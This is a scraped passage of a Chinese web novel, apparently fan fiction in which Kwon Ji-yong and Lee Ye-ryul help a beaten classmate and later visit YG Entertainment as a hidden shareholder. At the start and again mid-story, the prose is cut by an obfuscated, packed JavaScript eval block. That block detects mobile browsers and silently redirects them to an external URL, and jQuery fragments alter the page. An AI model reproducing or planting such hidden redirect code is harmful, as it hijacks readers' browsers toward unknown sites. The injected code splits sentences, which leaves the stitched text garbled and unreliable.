35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16132125|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 说不定他自己也乐在其中呢。 想到每一次权至龙碰上烦恼时总是下意识放任自己沉浸在负面情绪里的模样,李艺率摇摇头无奈感叹,这副模样谁见了能不说上一句抖M呢! * 这天下午权至龙带着李艺率去了她之前从来没去过的网咖,带她好好体验了一番时下同龄人最痴迷的娱乐方式。 从网咖出来时李艺率还心脏怦怦跳地回忆着之前操作游戏小人放泡泡吃炸弹的紧张对局,深吸一口夜风感叹着:“好像我每个叛逆的第一次都是和你一起完成体验的啊……” 第一次走进演出厅被人潮裹挟,第一次坐在快餐店的灯光下任由可乐气泡在舌尖炸开,第一次松开溜冰场的扶手放任自己的身体追逐自由,第一次躲在网咖的隔间听着耳麦里传来的游戏爆炸音效和权至龙压低的声音……每个第一次都像拆开一颗糖纸沙沙作响、名为禁忌的糖果,甜味在齿间蔓延时,被框定的边界也随之一点点融化。 权至龙:“这算什么叛逆,不是所有同龄人都会做的事情吗?” 李艺率:“我之前就从来没做过啊!” 权至龙:“……够了,你这么说起来我一时之间都不知道该不该同情你了!” 话说他把这么一朵娇花‘带坏’了,伯父大人在未来知道这些以后会不会封杀他啊? 一只脚趾头刚踏进演艺圈的从业人员此时颇有些忧心忡忡地想到。 * 本打算去找个合适的餐馆解决晚餐,但在路上两人还是遇上了一点意外—— 一声闷响从他们经过小巷深处传来,像是肉/体撞上铁皮垃圾桶的钝响,紧接着是压抑的啜泣声传来。 权至龙和李艺率对视一眼,呼吸不自觉地放缓。 他们贴着墙根缓缓靠近巷口,借着微弱的路灯光影,隐约看见一个身影蜷缩在墙根,被另一个高大的轮廓像拖拽着死去的流浪动物一般,揪着头发往墙角撞去,含糊不清地咒骂声在小巷内回响。 残忍的画面如同定格的电影,叫两人的呼吸都凝固了。 察觉到权至龙暴起的肌肉,李艺率冰凉的指尖攥在了他的手腕上。 用眼神示意稍安勿躁后,她从包里找出一个报警器,手上做出了比划的动作。 拽下插销的瞬间权至龙便猛地冲了出去。 警报声划破夜空,混合着少年急促的脚步声在狭窄的巷道里激起尖锐刺耳的回音。 似乎是被突如其来的动静吓了一跳,那名高大的施暴者下意识地松开了手,甚至来不及看身后追逐的人是谁,只恨恨踹了一脚地上那具狼狈蜷缩的身体便匆匆离开。 权至龙眼看着施暴者仓皇而去,一时间都有些拿不定主意是继续追还是先折返回去看看受害者。 “我已经在打112了,别急,”李艺率的声音从他身后传来,叫停了他踌躇的脚步:“先看看伤者。” 大概是听清了她的话,地上那个蜷缩的身影微微颤动了一下,试图艰难地从地上爬起来,嘶哑的气音在深邃的巷弄里显得格外压抑:“别……不用报警……” 李艺率蹲下/身凑近了些,月光恰好在此刻穿过云隙。 她指尖拨开湿冷的头发,在那张满是淤青的狼狈脸庞上看见一双熟悉的瞳孔。 “是你啊。” 少女左眼肿得几乎睁不开,像只被踢伤的小兽。 颤抖的睫毛上还沾着带有血色的淤痕,在月光下像凝固的泪滴。 28.邪恶猫奴 透过手机屏幕的蓝光,权至龙也从模糊的记忆中搜寻出了有过短暂交集的碎片—— “啊……前辈?” 已经是一年以前了,当时的交集甚至不足以拼凑出对方完整的名字,只好磕磕巴巴地喊了一声前辈。 徐善雅此时半蜷缩在地上,发丝凌乱,手臂大腿上有被拖拽后留下的大面积擦伤,血液从伤口微微渗出,混合着沙砾和灰尘在昏黄的灯光下显得格外刺目。 她脸颊凹陷颧骨轮廓凸起,看上去瘦的厉害。 去年李艺率和徐善雅发生冲突之后,权至龙曾经还颇为忧心忡忡,生怕李艺率会在他看不见的地方被前辈找麻烦,没想到是在这样的场景下完成再度碰面。 李艺率则问出了她更为在意的问题:“你说不要报警,是因为和刚刚那个人认识吗?” 这似乎是一个很难回答的问题,叫徐善雅沉默了好一会。 她手指紧紧抠住掌心,随后试图牵动一个状若无事的笑容,声音向撕过的纸一样嘶哑:“是、是我男朋友……” 啊,这…… 权至龙和李艺率下意识地交换了一个眼神。 在南韩这种集所有东亚传统文化糟粕于一体的超父权社会里,针对女性的家庭暴力是一个普遍存在,且逐渐演变成一种结构性问题的社会顽疾,甚至还有‘女人要像明太鱼一样反复捶打’这样听上去就令人生理不适的俗语流传至今。 虽说男女交往并不像婚姻那样受到诸多约束,徐善雅完全有大把的机会随时抽身逃离,但他人的情感生活旁人终究无法干涉,于是李艺率点点头默许了她不要报警的请求,转而又问道: “那需要帮你叫救护车吗?” “不,不用麻烦了,”大概也没想到上一次不愉快地放完狠话以后再度碰面会是如此狼狈窘迫的画面,徐善雅勉强地笑了笑,撑着地面站起身。动作间似乎是牵动了身体某处的伤口,她倒吸一口凉气扶着墙缓缓将后背贴在墙上,看向权李二人,“我自己靠着稍微缓一缓就好了,不麻烦你们。” 权李两人:“…………” 真要是把这个人丢在这里不管那叫什么事啊? 李艺率:“我们陪你在附近坐一会吧。刚刚看你被踢到了肚子,有很大可能会伤到内脏。如果直接把你丢下不管的话,我怕你会死在这里。” 徐善雅:“…………” 这个人说话未免也太刻薄了吧! 权至龙从那张带着伤痕和虚弱的脸上看到了被硬生生挤下的脏话,赶紧打圆场:“……虽然她说话很不中听没错,但也的确是出于关心前辈啊。” 说着,他悠悠地感叹一句:“哎古,我们艺率其实是一个很善良的孩子呢。” 徐善雅:“………………” 虽然很不想对向自己释放善意的人摆出一副冷脸,但在听到权至龙这句几乎是发自内心感到自豪的感叹后,徐善雅还是没忍住,对着权至龙翻了个无语的白眼。 * “现在有感觉到腹痛、恶心呕吐或者脉搏跳得很快但是听起来虚弱吗?” “……没有。” “真的?即使是症状很轻也不可以忽视。” “……都说了没有!” 李艺率皱着眉打量着徐善雅,模仿起急救站里的医生模样自顾自做下初步诊断,“情绪变得烦躁易怒,可能是身体在应激状态下的反应,嗯……果然还是得去做个检查才行啊。” “…………”徐善雅痛苦地呻吟一声,却不是因为身体上的创伤,她将求助的目光投向权至龙,你倒是出来管管啊! 权至龙抓抓头发,干笑了两声避开她的眼神求助。 在权至龙和李艺率的帮助下,三人在附近找到一处社区公园稍作停留。 权至龙很有眼色地去附近的药妆店买了清理伤口的消毒剂和药品,又在便利店扫荡一圈,等回到来的时候徐善雅已经用李艺率提供的消毒湿巾将自己稍微整理了一番,看上去已然没有刚刚那样狼狈了。 她在两人的注视下倒吸着凉气用生理盐水冲洗伤口涂抹抗菌药,然后就被李艺率按在社区公园的长椅上,打着‘留观’的旗号接受着临时医生李艺率的问询。 徐善雅反复强调确认自己真的没什么大碍以后,李艺率看着她裸/露在夜风里的单薄四肢,将身上外套脱下来递给了她。 徐善雅抿着唇沉默地接过外套,隔了一会才垂下眼睑低声道:“谢……” 感激的话还未说出口,就被李艺率的动作打断了。 她拆着便利店三明治的包装,发出塑料纸沙拉拉的声响,听到徐善雅声音时,她抬起头挑了挑眉,而蹲在她身边一直低着头的权至龙听到声音以后也抬起脸看向徐善雅,手上还拿着半块咬过的三明治。 徐善雅:“…………” 怎么你们这就吃上了啊?! 察觉到她的目光,权至龙像是这才想起了什么,将手边的塑料兜提起来:“前辈你要吃吗?” 李艺率:“不可以吃啦!在观察期间要禁食禁水。” “啊这样,”权至龙略显遗憾地摇了摇头,脸上看上去倒是没有一点多余的惋惜神色,反倒是看着李艺率慢吞吞的动作翻了个白眼,嘴上催促道,“你先管好自己,快点吃。” 李艺率嘁了一声,拆着包装纸的功夫嘴上仍发出娇气的抱怨:“你买的根本就不是我喜欢的口味!” “哦,真抱歉,”权至龙面不改色,显然这样的事情时常发生。他将李艺率的红茶顺手拧开放到她手边,挑挑眉,“顺便礼貌的问一句,这个世界上还有什么是你喜欢吃的口味吗?” 李艺率:“…………” 权至龙微笑:“看来是没有了,那就快点吃,别抱怨。” 徐善雅:“………………” 眼见两人已经自顾自吃上了晚餐,似乎今晚的帮助只是一件举手之劳,没有丝毫挟善意对她的私事发表些多余评价和追问的意味,这让她原本紧绷的肩膀慢慢放松下来。 夜风轻吹,社区公园的照明灯早已一盏接一盏的亮起。 几只夜蛾在路灯下翩跹,不时撞向灯罩,发出细微的‘啪嗒’声,却又执着地绕着光源飞舞。 * 距离上一次闹剧一般的对峙已经过去一年时间,徐善雅在高三第二个学期还未结束时就脱离了学校,现在回忆起校园时光,不免让她生出了些恍如隔世般微妙的感触。 为什么要帮我?明明我曾经还故意找过你们的麻烦。 她看着李艺率的侧脸,心里只有疑惑,像我这样的人哪怕是看着我死在路边也无所谓不是吗? 当一个人长期遭受生活捶打,在面对突如其来的陌生善意时,最先反应过来的往往不是感激和接纳,而是下意识的警惕和怀疑。 像是终于无法忍受这样长时间僵持的沉默,徐善雅蠕动嘴唇,从喉咙里挤出一句话来,“其实……他并不是那种很坏的人。” 她是在说她的那位施暴者男友。 徐善雅:“之前他,不会这样的……我之前做过一些很糟糕的事情,所以……他才会、才会那样。” 李艺率闻言轻轻皱眉:“可这根本就是两码事吧。” 在东亚社会,常常会出现一个逻辑性的谬论——在一段关系发生具体的冲突时,人们常常会把过错归因于其中一方曾经的行为失当。在道德文化的加持下,这种归因方式将暴力偷换了概念,从而忽视了施暴行为本身的不可接受性,也无形中给受害者套上了沉重的枷锁,顺从接受了伤害。 虽然这种谬论常见于父母和子女之间,但因为本质上是强对弱的压制和控制,所以徐善雅和她的家暴狂男友自然同在此列。 他人的情感生活李艺率和权至龙两人都无意窥探,也说不出什么假大空的安慰劝解,在沉默的间隙,李艺率倒是回忆起了曾经见到过的一幕: “我家里有一位工作的姨母,她和你的情况差不多。在婚后没多久就遭受过前夫的暴力对待,一直忍耐了将近二十年。那个男人每次都会把一些不痛快归咎在她身上,事后又跪下哭着道歉求她原谅……” 她慢悠悠说着,见权至龙一副被吸引住脸上写满了‘然后呢快接着说下去’的催促,挑了挑眉。 “她也逃过好几次,但是每次都会那个男人被抓回来。娘家人也不愿意支持她,完全是被逼到绝路了呢……”想到第一次见白姨母时她如同一件猎物般被男人拖拽着头发,娘家人一副无动于衷的姿态,她悠悠叹了一口气,声音也低沉了下来。 详细描述了当时看到的场景,李艺率毫不意外收获了权至龙满脸愤慨的神色。 权至龙:“这家人也太过分了吧!后来她是怎么脱身的?” 既然现在在李艺率家里工作,那就证明她已经从曾经黑暗不堪的过往中好好逃离出来了。 “她的儿子在两年前发生了意外,最后的心愿是母亲能够幸福地活下去。” 明明是那样一个小混混打扮的坏男孩,死因还是和人打架斗殴有关,可最后的心愿竟然这样朴素。 她回忆起曾经在医院的走廊和白姨母的儿子面面相觑时,从他们身边经过的一对母子。 小男孩被母亲抱在怀里,手臂被包扎着,依恋地搂着母亲的脖子嘴里嘟囔着永远最爱妈妈。 而那个小混混模样的少年,也在见到这一幕的瞬间柔软了下来。 果然,每个孩子对父母的爱都是天生的本能啊,哪怕是外表再冷硬桀骜的小混混少年也不外如是。 她说的其实并不是一个有圆满结局的好故事,甚至在故事的尽头,也是通过一个不足二十岁生命的重量,才堪堪挽回了一个大半生都在遭受苦痛的女人—— 但也恰恰是这样听上去沉重的故事,却在此刻更具备现实警示意义。 终于将白姨母来到她家前的经历说完,李艺率拧开塑料瓶喝了一大口红茶,这才冲着徐善雅宽慰道,“所以就算你以后想和那个人结婚也没关系的,毕竟二十年时间一眨眼就会过去了。” 徐善雅:“…………” 权至龙:“………………” 说真的,你在这个时候说出这种话几乎是跟诅咒没什么区别了吧! * 这一天最后的结局是权李二人将徐善雅送上了出租车。 考虑到韩国的交通费用实在昂贵,出于某种人道主义关怀,李艺率提前向司机支付了车费。 临分别前,李艺率婉拒了徐善雅要归还外套的举动,只是轻轻拍了拍她的肩膀,说出了难得的安慰: “每个人都只能活一次,所以大家都值得拥有更好的人生。” 直到出租车已经驶出去很远,徐善雅才从这句话中品过神。 眼泪终于失控地砸下来,在手背上烫出细小的涟漪。 而在目送出租车远去的尾灯消失在夜色以后,权李二人转过身准备回家。 大概是共同经历并完成了一次善举,感知到彼此的连接似乎在无形之中被牵引得更深了一些,此时两人的心情都还算不错。 夜风拂过,吹起李艺率鬓角的碎发。 她抬头望了眼被高楼切割成碎片的夜空,在这样平平无奇的夜里品味到了难得的平静和温柔。 但好时光显然不会长久。 就在身边炙热的目光要将她的侧脸灼穿的前一刻,李艺率终于忍无可忍的转过头,瞪着全程摆出一副欣慰到堪称恶心的表情注视着她的权至龙: “能不能别再用这种眼神看着我!” 权至龙仍然是笑嘻嘻的模样,理直气壮回道:“你不看我又怎么会知道我在看你?” 李艺率:“…………” 这个时候如果轻易陷入自证陷阱反倒如权至龙所愿,于是她干脆叉着腰反击:“因为你的眼神吵到我了!” 权至龙愣了一下,随即笑得更加肆无忌惮,“哎一古,我还是今天第一次发现,我们艺率其实也是个别扭的孩子啊……” 权至龙:“不过今天做得很好,刚刚和前辈分别时说的那句话也很帅气呢!” 明明只是一个连对方名字都不知道,甚至还险些发生过冲突的陌生人,但李艺率还是不带有任何目的性地付诸了善意。 哎,我们艺率真的很是一个善良的孩子啊! 权至龙越想越觉得大家真是对李艺率误解太多,虽然她嘴巴很坏,但她本人明明就很真诚善良嘛! 够了——! 李艺率内心发出尖锐爆鸣,脚趾头都忍不住蜷缩了起来。 这是什么语气啊?简直跟邪恶猫奴看着自家小猫第一次长嘴大口吃饭时发出的感叹一样,带着令人牙酸的欣慰。 简直太恶心了吧! 她悄悄翻了个白眼越想越气,忍不住伸手作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141007|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 势要打,企图用这种行为屏蔽权至龙黏糊糊的声音。 挥出的手被权至龙轻巧地躲开,少年倒退着跑了几步,发丝在路灯下泛着柔和的光晕,嘴角还挂着那抹让人火大的笑意。 “抓不到~”权至龙故意拖长声音,勾着手指像逗弄小猫一样在她眼前摇晃,“艺率呀,再努力一点吧!” 路灯在夜色中连成一条流动的星河。 两人的影子在路灯下交叠,又随着打闹的动作分开。 恰好此时一辆夜班公交晃悠悠地从他们身边擦过,交替的灯光在他们脸上流转,像一场转瞬即逝的霓虹雨。 混杂着公交车到站的提示音,司机将头探出窗口,笑骂了一句:“呀,你们两个小崽子!谈恋爱也给我选个安全点的地方啊!” 权至龙:“…………” 李艺率:“………………” 目送公交车驶离,两人仍是默契地沉默着面面相觑。 眼见身后又有车流辗转经过,权至龙突然抓住她悬在空中的手腕,温热的掌心贴着她突突跳动的脉搏,带着她冲向人行道边缘。 跑动的气流混合着翻飞的夜风,将两人的心跳声都抛到了身后。 整片首尔的夜景都变成了身后模糊的光斑,唯有他眼里映着的月色清晰可见。 * 年底的时候李在叙终于短暂卸下了美国的事务,回到首尔接替即将要去德国视察工厂的儿子。 自从那起事故发生以后,父子二人似乎是达成了某种默契。 就像医院走廊里永不熄灭的应急灯,一盏刚暗下去,另一盏就迅速亮起,确保李艺率一直是被好好看顾的状态。 回到家里已经是深夜。 李在叙冲着司机颔首告别,缓步走入家门。 因为提前通知过时间,又是这个家的主人时隔大半年以来难得的归家,住家们此时都并未休息。 家政在玄关接过了他的外套和公文包,“欢迎回家,副会长。” 李在叙点头回应,松了松领带,铂金袖扣在玄关水晶灯下折射出冷冽的光。 他环视了一眼熟悉的家,像巡视自己的领地一般刻进生物本能里的动作,身姿挺拔舒展步伐沉稳,带着久居上位、从容得体的气场。 “艺率睡了吗?”他的声音不高,却让一旁的家政立刻上前半步回应。 “十点左右就已经睡下了,”家政递上温热的手巾,“需要为您准备夜宵吗?” 李在叙接过手巾慢条斯理地擦拭手指,他抬眼望向客厅上悬挂着的水彩涂鸦,冷峻的眉眼微不可察地柔和了两分。 李在叙:“嗯,送到我的书房来吧。” 他没有向大多数半夜归家的父亲那样,悄悄打开女儿房门查看她安睡的侧脸。 虽然出生在一个传统的东亚父权式家庭,但他本人的育儿理念相当西化,尽管李艺率会时常抱怨爸爸是个控制狂,可实际上李在叙相当尊重两个孩子的私人空间。 胡桃木门被推开,室内自动亮起的壁灯将空间笼罩在琥珀色的光晕中,也映出了他略微疲惫的轮廓。 作为一个被当成家族掌舵人培养着长大的男人,李在叙从很小时起就被要求不能直接表达情绪和喜好,早早修得了克制欲望,不动声色的本能。 因此这间书房可以称得上是单调到无聊至极,唯一鲜明的色彩是正对着他书桌的一副画。 歪歪扭扭的线条勾勒出三个手牵手的小人,右下角用彩笔写着下稚嫩的字迹——“全世界最爱爸爸和哥哥”。 画纸已经微微泛黄,色彩也在时间的侵蚀中有些褪色,却仍被精心地镶在玻璃框里,挂在最显眼的位置。 严格来说这甚至称不上是画。 但就是这样一副毫无构图、用色混乱、笔触糟糕的油画棒涂鸦,让眼光挑剔的李在叙收藏了十几年。 回想起李艺率最近的就诊记录,他在心里轻叹了一口气。 那场意外发生得猝不及防,又实在没头没尾,以司机畏罪饮弹自尽而匆匆了结。尽管疑点重重,但那时的李在叙实在无暇再去深究——他的艺率刚从生死边缘被拉回来,心跳脆弱得如风中残烛。 他要处理工作,要承受父亲的苛责和质问,要应对如同闻到血腥的鲨鱼般撕咬的具家人,更要强撑着去拉回站在死生边缘徘徊的女儿。 李叡承一直不赞同他在李艺率的精神问题上选择放任的态度。 可站在一个父亲的角度,他宁愿替女儿编织一生的谎言,让她永远沉浸在虚假的平静里,也好过从他的心口/活生生剐下一块肉。 敲门声打断了他的思绪,“副会长,夜宵准备好了。” “拿进来吧。” 李在叙看着端着托盘走进书房的住家,从那张熟悉的脸上回忆起两年多以前曾经在资料里见过的,那双枯萎阴沉的眼睛。 李在叙:“我听郑秘书说起,最近你家里有人来骚扰过的事情。” 看到对方顿时紧张起来的神色,李在叙合上手中文件,缓声道:“不用那么紧张,有什么困难可以去找郑秘书帮忙解决。” “内,谢谢您。”白姨母拘谨地淡笑一声,“艺率听说了这件事情以后也很生气呢,一直叮嘱门卫要好好看家不能放奇怪的人进来。” 闻言,李在叙的表情有一瞬间的松动,眼神深处闪过一丝难以察觉的柔软。他轻轻嗯了一声,“还真是孩子气啊……” 所以才会一味地相信所有男人都会忠诚,永远爱着自己的妻子; 所以才会在从未体味过母爱时,仍天真固执地以为所有孩子都会无条件地爱着自己的母亲。 所以才会………… 白姨母只是淡笑一声,没再说些什么。 她朝着李在叙鞠了一躬,拿着托盘轻轻阖上了书房门。 两年多以前的记忆已经模糊得如同旧照片边缘泛起的毛边,可第一次见到艺率的那一天却在她的人生中烙下了深深的刻痕。 丈夫嗜酒成性对她非打即骂,儿子长大以后也有样学样地对她施以暴力,两个生命中本该最亲近的男人将她的人生撕扯成永夜,而她则像是漂浮在这无尽黑暗中的浮木—— 直到一个孩子气的声音将她从无休止的泥潭中拽了出来。 像是紧紧抓住了一根脆弱的蛛丝,她终于鼓起勇气,从暗无天光的深渊中拼命挣扎着向外爬去。 29.飞吧,G-dragon 2006年的新年钟声在首尔普信阁钟楼敲响,一家人度过了一个难得团聚的新年以后,李叡承踏上了飞往德国的航班。 去年11月时,李艺率提交了哈佛大学的早申,凭借前两个学期的优异成绩单和父亲钞能力的加持下,正式在去年12月下旬收到了早申录取结果通知书,这意味着她需要在今年八月以前完成高中学业并在秋季学期开学前抵达波士顿进行学籍注册—— 是的,韩国的春秋学期学年制度与美国的学期安排有所不同,按照正常的学期进度,李艺率需要等明年的三月完成毕业考试以后才能拿到高中毕业证书。 但李在叙认为,与其在家空等半年,不如提前完成高中学业赶上美国秋季入学的节奏。 于是他大手一挥,李艺率的整个新年都沉浸在了痛苦的高强度补课之中。 又结束了一天的补习课程,送走老师以后,李艺率一副电量耗尽的模样往沙发上一瘫,大半身子贴着李在叙,头埋在他的肩膀上,发出了类似痛苦,又像是撒娇的怪叫声。 李在叙感受着肩上的重量,轻轻皱着眉,声音轻缓:“李艺率,你的规矩和礼仪呢?” 李艺率闻言小发雷霆,她仍是维持着挂在父亲肩膀上的姿态,理直气壮地反驳:“我在我自己的爸爸面前还需要讲究这些吗?!” 李在叙:“…………” 他没有再说些什么,甚至于在一开始就没有丝毫责备的意味。 终于等李艺率稍微发泄完毕,李在叙才缓缓开口:“听信托办公室提起,你之前投的那家娱乐公司最近有增资需求?” 增资指的是公司通过发行新股或增加股本的方式募集资金,通常用于解决现金流短缺或扩大经营。 李艺率的头仍埋在他肩上,不咸不淡地嗯了一声,“听说是把公司里最赚钱的那个艺人送到日本出道了,但是市场反响好像不怎么样。” 李在叙轻轻点头,手指无意识地摩挲着衬衫袖口,继而又问起了一件关心的事,“当初股权转让的时候是通过子公司账户完成收购的吗?” 李艺率:“没有,当时是拜托信托经理转了好几手关系帮忙收购的。” 李在叙似笑非笑:“所以说,他们到现在都还不知道你这个第二股东的真实身份?” 听父亲这样问,李艺率瞬间直起身,笑得一脸狡黠,“没错,等那边知道了以后估计肠子都要悔青了吧。” 这一时期的韩国,财阀甚少参与娱乐行业中小型项目的投资,只有业内的大公司,诸如S·M和JYP这种已经上市的企划社才有与财阀资本进行长期绑定的资格。 YG娱乐当然也有同样匹配的野心,但那也应当是等到公司稳步发展推动上市的前夕再好好待价而沽一番,如今这样早早的与财阀绑定,显示是一笔相当赔本的买卖。 更别提当时李艺率完成私募交易的时机选在了YG欠了一大笔债务的当口,叫她好好地趁火打劫了一把。 哎,我们资本家果然都是强盗啊! 李艺率在心里颇为遗憾地感叹到,可脸上那股子得意都快溢出眼睛了。 “本来打算这次增资让经理人帮忙去走个过场的,但是我现在改变主意了。” 她必须马上去小权公司,亲自看看他们老板那张后悔到汉城老家的臭脸! * 2006年3月,YG娱乐策划了一场生存竞争式偶像选拔企划,这一企划打破了当时kpop偶像团体的传统模式,也开创了生存类真人秀出道的先河。 随着考核进程的逐步推进,几名成员在压力下没日没夜地练习,身心都承受着巨大考验。 今天是一个被梁锡硕‘召见’的考核日,几名少年,尤其是权至龙心中颇为惴惴不安。 作为一个练习时间比所有人都要长,且对自身要求高到近乎有些完美主义的练习生,他承受的压力比其他人想象的要高出许多。尤其是上一次跟随SEVEN去日本公演的舞台上出现了失误,让他的心一度被高高地提起,焦虑到如同一根紧绷的弦。 随着一点点时间的流逝,几名少年内心的焦躁和不安逐渐凝成了具象化的表情,直到—— “社长现在要下来了,”Staff挂断电话,对着几名等待的少年这样说道,“把这里整理一下吧。” 话音刚下,整个房间的空气仿佛凝固了一瞬。 几双年轻的眼睛对视一眼,继而默不作声地开始整理起物品,尽量维持着脸上平静的表情,可每个人的心中大抵都翻涌着难以抑制的忐忑。 终于到了想要逃避命运的时刻。 “啊,您好。” 随着地下练习室的门被推开,几名Staff便立即出声打招呼,几道身影也随之齐刷刷地站直。 梁锡硕走进房间时,目光不动声色地扫过几名少年低垂的眉眼。 “好久不见了。”梁锡硕的声音低沉而平静。 他先是单独拎出了权至龙和永裴两人,对着其余四名练习生说了些冠冕堂皇的话,随后才缓缓地将视线投向了戴着线帽,站在边缘位置的权至龙。 梁锡硕:“我看了你们这次在日本的公演视频,真是让我气得说不出话。” 梁锡硕:“看完以后我一直在想,你们两个到底是不是我们YG期待的孩子啊。” 梁锡硕严苛的话语让权至龙下意识露出了笑容试图缓解尴尬和内心的羞耻感,随后又听到了让他头晕目眩的声音在耳边响起: “至龙啊,在公司练习六年,想回家了吗?” 来自梁锡硕的审判落下的那一瞬间,权至龙的表情便凝固了下来。他垂着眼皮,只觉得一阵头重脚轻手脚发冷,仿佛灵魂都跟着脱离了肉/体,站在很远的地方审视着无措的自己。 耳畔除了刺耳的嗡鸣声以外,什么都听不见了。 时间漫长到不知过了多久,又仿佛是梁锡硕话音刚落的下一秒,权至龙听见一声熟悉的,带着浓浓嫌弃意味的弹舌。 “啧。” 他的眼睛下意识瞟向发出声响的地方,对上了那双熟悉的眼睛。 于是下一刻,灵魂又再度被牵引回了他的身体。 * 李艺率跟着经理人孙成昊来到YG时,是梁锡硕的弟弟梁敏硕亲自负责接待的。 自从04年完成私募交易后这位神秘的股东就一直没露过面。 在最初时,梁锡硕两兄弟也曾对此怀疑过,甚至因此不安了好一段时间。 但由于当初牵头交易的是梁锡硕早年好友认识的投资圈人脉,而且将近两年的时间过去,这位股东只在电话中与兄弟俩交流过,从始至终不曾露面,也从未对公司的经营管理决策提出过任何意见,看上去完全就是个在多领域涉足的私人投资者的模样。 虽然在完成交易后兄弟两人也对这笔买卖暗暗叫亏过数次,但彼时的YG实在是处在燃眉之急的境地,即使是为了度过难关不得已抛售了一部分,但梁锡硕仍然掌握着绝对控股权,因此倒也没有扼腕太久。 况且,这次增资的要求对方在听完的第二天以后便很爽快地答应了下来,实在算得上是雪中送炭的贵人了。 在见到李艺率和孙成昊的那一刻前,梁敏硕一直是这样想的,直到—— 一辆低调的黑色德系轿车停在了麻浦区YG老旧的办公楼门口,梁敏硕在看到车辆停下的一瞬间就迎了上去。 副驾驶的车门被打开,一位西装革履戴着眼镜一副十足大企业精英模样的男子走下车,让梁敏硕稍稍愣了一下,又下意识地笑着迎上去打招呼。 梁敏硕:“您好,是孙先生吧?” 那名男子只是微微颔首回应:“您好梁理事,请稍等。” 随后就见他走向后座打开车门,一名长相十分出众的年轻女孩走下车,朝着着梁敏硕颔首示意,下巴在空中扬起一个矜贵的弧度。 而此时孙成昊也适时与她错了两个身位,伸出手缓缓介绍道:“这位是我的委托人。” 梁敏硕看着眼前分外年轻的漂亮面孔,心下闪过不好的预感。 当时他们在电话里听到的可分明是个年轻男人的声音啊。 而且这副做派…… 但他很快调整好神色,看向李艺率问道:“您好,请问怎么称呼?” 李艺率脊背挺直,唇角挂着精心计算过的最佳弧度,连呼吸都仿佛带着一丝克制,声音清冷又疏离: “我姓李。” 完蛋。 梁敏硕心里咯噔一声,不详的预感愈发强烈。 * 在梁敏硕的带领下,李艺率和孙成昊兴致缺缺地逛了逛YG办公楼地内部环境。 本想带两人去办公室坐坐顺便好好打探一下李艺率的身份,但对方只是淡淡地扫过他一眼,声音轻缓地说道:“经济公司的核心是艺人才对。与其在办公室浪费时间,不如带我去看看练习生吧。” 梁敏硕有些为难:“可是现在他们正在录制出道节目……” 闻言李艺率微微挑眉,理所当然地回到:“那就更应该带我去了,这次增资的用途不就是为了推出新组合的宣传和专辑制作吗?” 梁敏硕一时语塞,找不到拒绝的理由,只能点头应下。 在通过地下练习室的楼梯时李艺率表面不动声色地观察四周,心里分外微妙。 怎么还有人专门弄个地下练习室啊?这种阴冷潮湿的环境除了存酒以外竟然还有这种功能吗! 门后一片灯火通明,数台摄影机正对准练习室一角,镜头特写打在几名少年围着的中心。 在东亚文化圈里,一个男人想要体验当皇帝的实现途径非常简单,只要生个孩子或者干脆开一家公司就可以了。 看着梁锡硕三言两语就让眼前的一帮少年战战兢兢,拿捏得恰到好处。 李艺率微微眯起眼睛,心里不免这样想到。 比起夸奖,梁锡硕更奉行打压式管理,打着鞭策的理由吝啬地给予肯定,这大概也是小权被反复否定过后愈发坚定想要证明自身价值的执念由来。 对人心的把控真的是很擅长啊…… 直到听见权至龙被单独拎出来公开批评以达到他杀鸡儆猴的目的时,李艺率心下的不快愈发强烈。 啧。 她舌尖擦过牙齿发出一个气音,在凝固的空间里显得格外引人瞩目,一时之间,就连扛着摄影机的Staff都朝着她的方向看了过来。 权至龙:“…………” 见到李艺率那张熟悉的身影,灵魂归位的那一刻他又忍不住开始思绪漫游左右脑互博起来。 她怎么会在这里?啊,是了,她是他们公司的股东。 她来了多久?她看到自己刚刚那副窘态了吗?想到这里,权至龙的耳朵侧脸都火辣辣的,可脊背却忍不住又是一阵发凉。 按照他对李艺率性格的了解,她肯定不会就这样放任他在这样的场合被梁锡硕单独拎出来打压的。 怎么办?事情会不会闹太大不好收场啊?在大小姐的观念里从来没有传统的长幼年序这种概念,当着这么多人的面和梁锡硕叫板这种事情她肯定做得出来。 毕竟他可是李艺率的好朋友,他的艺率也是那种非常护短的孩子气性格……想到这里时,权至龙心跳加速,连呼吸都有些甜蜜了起来。 不,不对,现在根本不是想这些的时候吧! 如果待会发生了冲突,他肯定在事后也逃不过梁锡硕的责难和清算,他该不会真的要被YG劝退吧?那种事情不要哇! 权至龙呼吸一紧,忍不住攥紧了手指,等待摇摇欲坠的达摩克里斯之剑落下。 然而李艺率并未出声,只是目光冷淡地扫过几名摄影师。 随后一直站在她身后的孙成昊推了推眼镜对梁锡硕颔首轻声道:“日安,梁社长nim。节目录制还是先暂停一下吧。” 梁锡硕微微一愣,想到今天是的那位神秘投资人来公司签增资意向合同的日子,于是将目光在孙成昊与李艺率之间来回扫视了一番,在目光落到明明过分年轻却是一副占据主导地位姿态的李艺率时,心里产生了超出掌控的不安。 他朝扛着机器的工作人员颔首示意,随后又看向脸上写满了慌张站在一旁神色惴惴的弟弟,没由来的预感愈加强烈。 直到工作人员们收起设备后,年轻女孩才不紧不慢地绕过几名木头桩子般呆愣在原地的少年走到他跟前,垂眸看了他一眼—— 